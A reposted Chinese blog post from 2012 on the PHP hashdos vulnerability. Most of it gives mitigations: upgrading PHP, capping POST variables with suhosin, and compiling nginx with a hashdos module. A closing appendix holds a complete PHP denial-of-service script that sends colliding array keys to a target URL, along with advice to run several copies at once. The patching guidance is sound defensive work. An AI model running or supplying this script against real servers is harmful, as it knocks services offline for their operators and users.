php hashdos攻击解决方法

2012年02月20日 Linux服务器 暂无评论 阅读 12,109 views 次

这个漏洞出来好几个月了,今天总监axing jira了一个任务才得知,测试了一下,通过一个简单的php文件即可让你的服务器CPU 100%,非常可怕。影响版本php 5.3.2以前,所以大家要尽快升级服务器处理。

环境:
ubuntu 10.04
php5.3.2
nginx1.0.12

解决方法有2种:
一.升级php打补丁
二.安装nginx hsshdos模块


方法一:

1)采用php-cgi 的系统

apt-get update
apt-get install php5-cgi php5-cli 

(只更新php 相关,如果服务器繁忙,可以先停止nginx php5-fpm)

升级验证:

php5-cgi -i|grep max_input_vars

如果全局和本地值是1000 说明OK,然后重启php-cgi 服务

2)采用php-fpm 的系统

sudo apt-get install php5-suhosin
sudo sed -i "s/;suhosin\.post\.max_vars/suhosin\.post\.max_vars/" /etc/php5/fpm/conf.d/suhosin.ini
grep suhosin.post.max_vars /etc/php5/fpm/conf.d/suhosin.ini
sudo /etc/init.d/php5-fpm restart

输出是:

suhosin.post.max_vars = 1000 #限制最多有1000个POST参数

方法二:

1)下载hashdos模块,重新编译nginx

https://github.com/54chen/nginx-http-hashdos-module
cd
wget wget https://nodeload.github.com/54chen/nginx-http-hashdos-module/tarball/master
tar xvzf master
cd nginx1.0.12
./configure --user=www-data --group=www-data --prefix=/usr/local/nginx \
--with-http_stub_status_module --with-http_gzip_static_module \
--with-http_sub_module --add-module=/root/54chen-nginx-http-hashdos-module-f84d909/

2)修改nginx

vi nginx.conf
#在http区域添加下面4行
hashdos on;
body_max_count 1000;
client_max_body_size 10m;
client_body_buffer_size  10m;

注意事项,如果是上传服务器client_max_body_size为100M以上,建议使用方法一

因为计算参数都在内存中进行,所以client_body_buffer_size 与 client_max_body_size 的值一定要相等。推荐2m。

重启nginx

附:

PHP的hash漏洞DDoS攻击脚本,请勿用于非法行为

vi dos.php
<?php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
// 不要攻击我哦^_^,服务器已打补丁
$host = 'http://www.gaojinbo.com/index.php'; 

$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
    $data .= '&array[' . $key . ']=0';
}

$ret = curl($host, ltrim($data,'&'));
var_dump($ret);

function curl($url, $post, $timeout = 30){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    $output = curl_exec($ch);
    if ($output === false) return false;
    $info = curl_getinfo($ch);
    $http_code = $info['http_code'];
    if ($http_code == 404) return false;
    curl_close($ch);
    return $output;
}
?>

执行:

php dos.php

如果没打补丁,CPU很快就会100%,可以执行多个php dos.php

完成!

转自:http://www.gaojinbo.com/php-hashdos%E6%94%BB%E5%87%BB%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95.html

给我留言

Copyright © 羽飞博客 保留所有权利.   Ality主题 皖ICP备14013844号-1

用户登录